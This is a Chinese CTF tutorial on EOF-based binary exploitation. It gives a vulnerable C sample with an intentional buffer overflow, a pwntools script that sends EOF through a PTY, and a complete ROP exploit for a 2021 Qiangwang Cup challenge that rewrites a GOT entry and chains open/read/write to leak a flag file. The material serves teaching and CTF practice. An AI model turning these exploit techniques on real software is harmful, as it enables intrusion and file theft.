二进制安全 - EOF利用
字数 933 2025-08-23 18:31:18

EOF利用技术详解

1. EOF基础概念

EOF (End of File)是计算机科学中表示文件结束的术语,用于指示文件或输入流的结束位置。当程序读取文件或输入流时,会在遇到文件末尾时收到EOF信号。

关键特性:

  • 不同操作系统和编程语言中EOF的表示方式可能不同
  • 在pwn领域,EOF利用主要有两种类型:
    1. 发送EOF后仍可继续输入数据(仅限本地利用)
    2. 关闭输入流后无法再输入数据(适用于远程利用)

2. EOF发送后继续输入的利用

示例代码分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
    char buf[24];
    while(1) {
        if(read(0, buf, 16) == 0) {  // 当read返回0时跳出循环
            break;
        }
    }
    read(0, buf, 1000);  // 存在缓冲区溢出漏洞
    return 0;
}

关键点:

  • read()函数返回值:
    • 成功时返回读取的字节数
    • 到达EOF时返回0
    • 出错时返回-1并设置errno

利用方法:

  1. 使用伪终端(PTY)作为标准输入
  2. 发送EOF字符(tty.CEOF)使第一个read返回0
  3. 突破循环后触发缓冲区溢出

利用代码(Pwntools):

from pwn import *
import tty

context.os = 'linux'
context.log_level = "debug"

p = process("./pwn", stdin=PTY, raw=False)
p.send(chr(tty.CEOF))  # 发送EOF字符
p.clean()
p.interactive()

注意事项:

  • 必须设置raw=False以保证字节直接传递
  • 仅适用于本地利用场景

3. EOF发送后结束输入的利用

实际案例:[广东强网杯2021个人决赛]server

利用思路:

  1. 泄露程序基址(PIE)
  2. 利用EOF提前结束输入
  3. 在EOF前布置好ROP链

关键步骤:

  1. 信息泄露
ru('Username: ')
sl('r00t')
ru('Password: ')
sl('k')
ru('[*] Gift: ')
pie_base = int(p.recv(14), 16) - 0x4090
  1. 构造ROP链
  • 使用magic gadget修改read的GOT表为syscall
  • 布置open/read/write系统调用链
  1. 发送EOF
sla(b'[IN] ', payload)
p.shutdown('send')  # 发送EOF结束输入

完整利用代码:

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./pwn')
#p=remote('node4.anna.nssctf.cn',28819)

def duan():
    gdb.attach(p)
    pause()

sla(b'Username: ', b'r00t')
sla(b'Password: ', b'flag')
ru('[*] Gift: ')
pie_base = int(p.recv(14), 16) - 0x4090

# Gadgets
rdi = pie_base + 0x1613
ret = pie_base + 0x101a
rax = pie_base + 0x1239
rdx = pie_base + 0x123b
rsi_r15 = pie_base + 0x1611
magic = pie_base + 0x1232
flag = pie_base + 0x4090
buf = pie_base + 0x40A0

sl(str(0x500))

# 构造ROP链
payload = b'a'*0x38
# read@got -> syscall
payload += p64(rdi) + p64(pie_base + 0x4040)
payload += p64(rax) + p64(0x10) + p64(magic)
# open
payload += p64(rax) + p64(2)
payload += p64(rsi_r15) + p64(0)*2
payload += p64(rdx) + p64(0)
payload += p64(rdi) + p64(flag)
payload += p64(pie_base + 0x4040)
# read
payload += p64(rax) + p64(0)
payload += p64(rsi_r15) + p64(buf)*2
payload += p64(rdx) + p64(0x50)
payload += p64(rdi) + p64(3)
payload += p64(pie_base + 0x4040)
# write
payload += p64(rax) + p64(1)
payload += p64(rsi_r15) + p64(buf)*2
payload += p64(rdx) + p64(0x50)
payload += p64(rdi) + p64(1)
payload += p64(pie_base + 0x4040)

sla(b'[IN] ', payload)
p.shutdown('send')  # 关键:发送EOF结束输入
print(p.recv())
print(p.recv())
itr()

4. 关键知识点总结

  1. read()函数行为

    • 返回0表示EOF
    • 可利用此特性控制程序流程
  2. PTY伪终端

    • 模拟终端输入环境
    • 允许发送特殊控制字符(如EOF)
  3. EOF发送时机

    • 必须在完成所有必要输入后发送
    • 对于ROP利用,需提前布置好全部payload
  4. Magic Gadget应用

    • 可用于修改GOT表
    • 结合syscall实现多种功能
  5. 输入流控制

    • shutdown('send')可关闭发送通道
    • 适用于需要提前结束输入的利用场景

5. 防御措施

  1. 对read返回值进行严格检查
  2. 避免在关键流程后留有漏洞代码
  3. 使用栈保护机制(Canary, ASLR等)
  4. 限制输入长度防止缓冲区溢出

通过深入理解EOF的特性和利用方法,可以在CTF比赛和二进制安全研究中发现更多有趣的攻击面。

EOF利用技术详解 1. EOF基础概念 EOF (End of File)是计算机科学中表示文件结束的术语,用于指示文件或输入流的结束位置。当程序读取文件或输入流时,会在遇到文件末尾时收到EOF信号。 关键特性: 不同操作系统和编程语言中EOF的表示方式可能不同 在pwn领域,EOF利用主要有两种类型: 发送EOF后仍可继续输入数据(仅限本地利用) 关闭输入流后无法再输入数据(适用于远程利用) 2. EOF发送后继续输入的利用 示例代码分析 关键点: read() 函数返回值: 成功时返回读取的字节数 到达EOF时返回0 出错时返回-1并设置errno 利用方法: 使用伪终端(PTY)作为标准输入 发送EOF字符(tty.CEOF)使第一个read返回0 突破循环后触发缓冲区溢出 利用代码(Pwntools): 注意事项: 必须设置 raw=False 以保证字节直接传递 仅适用于本地利用场景 3. EOF发送后结束输入的利用 实际案例:[ 广东强网杯2021个人决赛 ]server 利用思路: 泄露程序基址(PIE) 利用EOF提前结束输入 在EOF前布置好ROP链 关键步骤: 信息泄露 : 构造ROP链 : 使用magic gadget修改read的GOT表为syscall 布置open/read/write系统调用链 发送EOF : 完整利用代码: 4. 关键知识点总结 read()函数行为 : 返回0表示EOF 可利用此特性控制程序流程 PTY伪终端 : 模拟终端输入环境 允许发送特殊控制字符(如EOF) EOF发送时机 : 必须在完成所有必要输入后发送 对于ROP利用,需提前布置好全部payload Magic Gadget应用 : 可用于修改GOT表 结合syscall实现多种功能 输入流控制 : shutdown('send') 可关闭发送通道 适用于需要提前结束输入的利用场景 5. 防御措施 对read返回值进行严格检查 避免在关键流程后留有漏洞代码 使用栈保护机制(Canary, ASLR等) 限制输入长度防止缓冲区溢出 通过深入理解EOF的特性和利用方法,可以在CTF比赛和二进制安全研究中发现更多有趣的攻击面。